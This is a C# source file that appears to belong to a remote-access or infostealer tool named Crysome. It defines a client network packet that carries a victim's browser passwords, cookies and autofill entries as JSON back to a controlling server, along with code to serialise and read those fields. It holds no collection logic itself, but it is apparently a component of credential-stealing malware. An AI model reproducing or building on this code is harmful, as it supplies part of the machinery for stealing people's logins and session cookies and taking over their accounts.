using System.IO;
using System.Text;

namespace Crysome.Common.Network.Packets.Client;

public class CredentialsResponsePacket : IPacket
{
	public string ErrorMessage { get; set; }

	public string PasswordsJson { get; set; }

	public string CookiesJson { get; set; }

	public string AutofillsJson { get; set; }

	public CredentialsResponsePacket()
	{
	}

	public CredentialsResponsePacket(string errorMessage, string passwordsJson = null, string cookiesJson = null, string autofillsJson = null)
	{
		ErrorMessage = errorMessage ?? "";
		PasswordsJson = passwordsJson ?? "";
		CookiesJson = cookiesJson ?? "";
		AutofillsJson = autofillsJson ?? "";
	}

	public void Write(BinaryWriter w)
	{
		WriteString(w, ErrorMessage);
		WriteString(w, PasswordsJson);
		WriteString(w, CookiesJson);
		WriteString(w, AutofillsJson);
	}

	public void Read(BinaryReader r)
	{
		ErrorMessage = ReadString(r);
		PasswordsJson = ReadString(r);
		CookiesJson = ReadString(r);
		AutofillsJson = ReadString(r);
	}

	private static void WriteString(BinaryWriter w, string s)
	{
		byte[] bytes = Encoding.UTF8.GetBytes(s ?? "");
		w.Write(bytes.Length);
		if (bytes.Length != 0)
		{
			w.Write(bytes);
		}
	}

	private static string ReadString(BinaryReader r)
	{
		int num = r.ReadInt32();
		if (num <= 0)
		{
			return "";
		}
		return Encoding.UTF8.GetString(r.ReadBytes(num));
	}
}
